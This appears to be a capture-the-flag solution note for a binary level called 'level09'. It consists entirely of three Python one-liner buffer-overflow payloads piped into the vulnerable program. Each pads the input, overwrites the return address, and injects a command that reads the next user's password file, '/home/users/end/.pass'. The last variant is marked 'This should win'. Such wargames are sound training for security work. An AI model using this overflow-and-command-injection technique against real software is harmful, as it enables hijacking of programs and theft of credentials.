/home/users/level09/level09 < <(python -c "print('a'*40+'\xff'+' '*208+'/bin/cat /home/users/end/.pass;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')") python -c "print('a'*40+'\xff'+' '*208+'/bin/cat /home/users/end/.pass ;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')" | env -i /home/users/level09/level09 This should win : python -c "print('a'*40+'\xff'+' '*204+'/bin/cat /home/users/end/.pass ;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')" | env -i /home/users/level09/level09